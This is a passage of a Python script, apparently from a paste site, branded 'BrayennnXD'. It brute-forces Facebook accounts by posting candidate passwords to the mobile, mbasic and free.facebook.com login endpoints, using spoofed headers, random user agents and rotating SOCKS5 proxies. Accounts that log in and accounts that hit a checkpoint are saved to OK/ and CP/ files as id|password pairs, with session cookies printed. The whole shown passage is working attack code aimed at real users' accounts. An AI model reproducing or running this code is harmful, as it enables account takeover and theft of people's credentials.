  573.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/login.php?skip_api_login=1&api_key=1477455072510375&kid_directed_site=0&app_id=1477455072510375&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv3.3%2Fdialog%2Foauth%3Fscope%3Demail%26response_type%3Dcode%26client_id%3D1477455072510375%26redirect_uri%3Dhttps%253A%252F%252Fmember-m.lazada.co.id%252Fuser%252Ffacebook-login%26state%3D%257B%2522bizScene%2522%253A%2522%2522%252C%2522redirect%2522%253A%2522https%253A%252F%252Fmember-m.lazada.co.id%252Fuser%252Faccount%2522%252C%2522shopOwnerId%2522%253A%2522%2522%257D%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dc793acb9-764d-457c-bb39-812035a2f8c5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fmember-m.lazada.co.id%2Fuser%2Ffacebook-login%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522bizScene%2522%253A%2522%2522%252C%2522redirect%2522%253A%2522https%253A%252F%252Fmember-m.lazada.co.id%252Fuser%252Faccount%2522%252C%2522shopOwnerId%2522%253A%2522%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
  574.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  575.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  576.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  577.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  578.             if "checkpoint" in po.cookies.get_dict().keys():
  579.                 tree = Tree(f" ")
  580.                 tree.add(f"[bold yellow]{idf}|{pw}")
  581.                 tree.add(f"[bold yellow]{ua}\n")
  582.                 cetak(tree)
  583.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  584.                 akun.append(idf+'|'+pw)
  585.                 cp+=1
  586.                 break
  587.             elif "c_user" in ses.cookies.get_dict().keys():
  588.                 ok+=1
  589.                 coki=po.cookies.get_dict()
  590.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  591.                 tree = Tree(f"  ")
  592.                 tree.add(f"[bold green]{idf}|{pw}")
  593.                 tree.add(f"[bold green]{kuki}\n")
  594.                 cetak(tree)
  595.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  596.                 cek_apk(session,coki)
  597.                 break
  598.                
  599.             else:
  600.                 continue
  601.         except requests.exceptions.ConnectionError:
  602.             time.sleep(31)
  603.     loop+=1
  604.                
  605. #------------------[ METHODE-MBASIC-2 ]-------------------#
  606. def crackmbasic(idf,pwv):
  607.     global loop,ok,cp
  608.     bo = random.choice([m,k,h,b,u,x])
  609.     ua = random.choice(ugen)
  610.     ua2 = random.choice(ugen2)
  611.     ses = requests.Session()
  612.     prog.update(des,description=f"{h}BrayennnXD{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  613.     prog.advance(des)
  614.     for pw in pwv:
  615.         try:
  616.             nip=random.choice(prox)
  617.             proxs= {'http': 'socks5://'+nip}
  618.             ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  619.             p = ses.get('https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  620.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=957549474255294&kid_directed_site=0&app_id=957549474255294&signed_next=1&next=https%3A%2F%2Fmobile.facebook.com%2Fv15.0%2Fdialog%2Foauth%3Fapp_id%3D957549474255294%26cbt%3D1674462799035%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df37e1dd3ab11c1c%2526domain%253Dshopee.co.id%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fshopee.co.id%25252Ff105f43f84019bc%2526relation%253Dopener%26client_id%3D957549474255294%26display%3Dtouch%26domain%3Dshopee.co.id%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fshopee.co.id%252Fbuyer%252Flogin%253Ffrom%253D%25252F%25253Fgclid%25253DCj0KCQiA_bieBhDSARIsADU4zLfPdqCmeLjfS5JLpVu8UPgO1XCucPNKFbTely_CPMTKcTKJsT6x30gaAiVTEALw_wcB%252526referrer%25253Dgclid%2525253DCj0KCQiA_bieBhDSARIsADU4zLfPdqCmeLjfS5JLpVu8UPgO1XCucPNKFbTely_CPMTKcTKJsT6x30gaAiVTEALw_wcB%252526gref%25253DEkUKPQoJCID9uJ4GENIBEiwANTjMt892oKZ4uN9LkkulW7xQ-A7VcK5w80oVtN6XL8I8xMpxMomxPrHfSBoCJVMQAvD_BwEYzaelnwM%2526gclid%253DCj0KCQiA_bieBhDSARIsADU4zLfPdqCmeLjfS5JLpVu8UPgO1XCucPNKFbTely_CPMTKcTKJsT6x30gaAiVTEALw_wcB%2526gref%253DEkUKPQoJCID9uJ4GENIBEiwANTjMt892oKZ4uN9LkkulW7xQ-A7VcK5w80oVtN6XL8I8xMpxMomxPrHfSBoCJVMQAvD_BwEYzaelnwM%2526next%253D%25252F%25253Fgclid%25253DCj0KCQiA_bieBhDSARIsADU4zLfPdqCmeLjfS5JLpVu8UPgO1XCucPNKFbTely_CPMTKcTKJsT6x30gaAiVTEALw_wcB%252526referrer%25253Dgclid%2525253DCj0KCQiA_bieBhDSARIsADU4zLfPdqCmeLjfS5JLpVu8UPgO1XCucPNKFbTely_CPMTKcTKJsT6x30gaAiVTEALw_wcB%252526gref%25253DEkUKPQoJCID9uJ4GENIBEiwANTjMt892oKZ4uN9LkkulW7xQ-A7VcK5w80oVtN6XL8I8xMpxMomxPrHfSBoCJVMQAvD_BwEYzaelnwM%2526referrer%253Dgclid%25253DCj0KCQiA_bieBhDSARIsADU4zLfPdqCmeLjfS5JLpVu8UPgO1XCucPNKFbTely_CPMTKcTKJsT6x30gaAiVTEALw_wcB%26locale%3Den_US%26logger_id%3Df140278bad38654%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df2b8e6f14042eb4%2526domain%253Dshopee.co.id%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fshopee.co.id%25252Ff105f43f84019bc%2526relation%253Dopener%2526frame%253Df3ce5af1e409b1c%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26scope%3Dpublic_profile%252Cemail%26sdk%3Djoey%26version%3Dv15.0%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df2b8e6f14042eb4%26domain%3Dshopee.co.id%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fshopee.co.id%252Ff105f43f84019bc%26relation%3Dopener%26frame%3Df3ce5af1e409b1c%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdc=1&_rdr","flow":"login_no_pin","pass":pw,}
  621.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  622.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  623.             heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://mbasic.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  624.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  625.             if "checkpoint" in po.cookies.get_dict().keys():
  626.                 tree = Tree(f" ")
  627.                 tree.add(f"[bold yellow]{idf}|{pw}")
  628.                 tree.add(f"[bold yellow]{ua}\n")
  629.                 cetak(tree)
  630.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  631.                 akun.append(idf+'|'+pw)
  632.                 cp+=1
  633.                 break
  634.             elif "c_user" in ses.cookies.get_dict().keys():
  635.                 ok+=1
  636.                 coki=po.cookies.get_dict()
  637.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  638.                 tree = Tree(f"  ")
  639.                 tree.add(f"[bold green]{idf}|{pw}")
  640.                 tree.add(f"[bold green]{kuki}\n")
  641.                 cetak(tree)
  642.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  643.                 cek_apk(session,coki)
  644.                 break
  645.                
  646.             else:
  647.                 continue
  648.         except requests.exceptions.ConnectionError:
  649.             time.sleep(31)
  650.     loop+=1
  651. #------------------[ METHODE-FREE]-------------------#
  652. def crackfree(idf,pwv):
  653.     global loop,ok,cp
  654.     bo = random.choice([m,k,h,b,u,x])
  655.     ua = random.choice(ugen)
  656.     ua2 = random.choice(ugen2)
  657.     ses = requests.Session()
  658.     prog.update(des,description=f"{h}BrayennnXD{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  659.     prog.advance(des)
  660.     for pw in pwv:
  661.         try:
  662.             nip=random.choice(prox)
  663.             proxs= {'http': 'socks5://'+nip}
  664.             ses.headers.update({'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua2,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  665.             p = ses.get('https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  666.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://free.facebook.com/login.php?skip_api_login=1&api_key=1132078350149238&kid_directed_site=0&app_id=1132078350149238&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fclient_id%3D1132078350149238%26redirect_uri%3Dhttps%253A%252F%252Faccounts.epicgames.com%252FOAuthAuthorized%26state%3DeyJpZCI6IjQ1ZTQ3OWZmMzNjMjQ4OTdiODczOWIxNjgwMDliMTc0In0%253D%26scope%3Demail%252Cpublic_profile%252Cuser_friends%26service_entity%3Dundefined%26force_verify%3Dtrue%26response_type%3Dcode%26display%3Dpopup%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db925305a-89b3-4081-9c07-b4993ab25dc7%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccounts.epicgames.com%2FOAuthAuthorized%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DeyJpZCI6IjQ1ZTQ3OWZmMzNjMjQ4OTdiODczOWIxNjgwMDliMTc0In0%253D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
  667.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  668.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  669.             heade={'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://free.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'ms-MY,ms;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
  670.             po = ses.post('https://free.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  671.             if "checkpoint" in po.cookies.get_dict().keys():
  672.                 tree = Tree(f" ")
  673.                 tree.add(f"[bold yellow]{idf}|{pw}")
  674.                 tree.add(f"[bold yellow]{ua}\n")
  675.                 cetak(tree)
  676.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  677.                 akun.append(idf+'|'+pw)
  678.                 cp+=1
  679.                 break
  680.             elif "c_user" in ses.cookies.get_dict().keys():
  681.                 ok+=1
  682.                 coki=po.cookies.get_dict()
  683.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  684.                 tree = Tree(f"  ")
  685.                 tree.add(f"[bold green]{idf}|{pw}")
  686.                 tree.add(f"[bold green]{kuki}\n")
  687.                 cetak(tree)
  688.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  689.                 cek_apk(session,coki)
  690.                 break
  691.                
  692.             else:
  693.                 continue
  694.         except requests.exceptions.ConnectionError:
  695.             time.sleep(31)
  696.     loop+=1
  697. #-----------------------[ MOBILE V2 ]--------------------#
  698. def cracktouch(idf,pwv):
  699.     global loop,ok,cp
  700.     bo = random.choice([m,k,h,b,u,x])
  701.     ua = random.choice(ugen)
  702.     ua2 = random.choice(ugen2)
  703.     ses = requests.Session()
  704.     prog.update(des,description=f"{h}BrayennnXD{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  705.     prog.advance(des)
  706.     for pw in pwv:
  707.         try:
  708.             nip=random.choice(prox)
  709.             proxs= {'http': 'socks5://'+nip}
  710.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  711.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  712.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  713.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  714.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  715.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  716.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  717.             if "checkpoint" in po.cookies.get_dict().keys():
  718.                 tree = Tree(f" ")
  719.                 tree.add(f"[bold yellow]{idf}|{pw}")
  720.                 tree.add(f"[bold yellow]{ua}\n")
  721.                 cetak(tree)
  722.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  723.                 akun.append(idf+'|'+pw)
  724.                 cp+=1
  725.                 break
  726.             elif "c_user" in ses.cookies.get_dict().keys():
  727.                 ok+=1
  728.                 coki=po.cookies.get_dict()
  729.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  730.                 tree = Tree(f"  ")
  731.                 tree.add(f"[bold green]{idf}|{pw}")
  732.                 tree.add(f"[bold green]{kuki}\n")
  733.                 cetak(tree)
  734.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  735.                 cek_apk(session,coki)
  736.                 break
  737.                
  738.             else:
  739.                 continue
  740.         except requests.exceptions.ConnectionError:
  741.             time.sleep(31)
  742.     loop+=1
  743. #-----------------------[ SYSTEM-CONTROL ]--------------------#
  744. if __name__=='__main__':
  745.     try:os.system('git pull')
  746.     except:pass
  747.     try:os.mkdir('OK')
  748.     except:pass
  749.     try:os.mkdir('CP')
  750.     except:pass
  751.     try:os.mkdir('/sdcard/BrayennnXD')
  752.     except:pass
  753.     try:os.system('touch .prox.txt')
  754.     except:pass
  755.     try:os.system('clear')
  756.     except:pass
  757.     login()
  758.  
Add Comment
Please, Sign In to add comment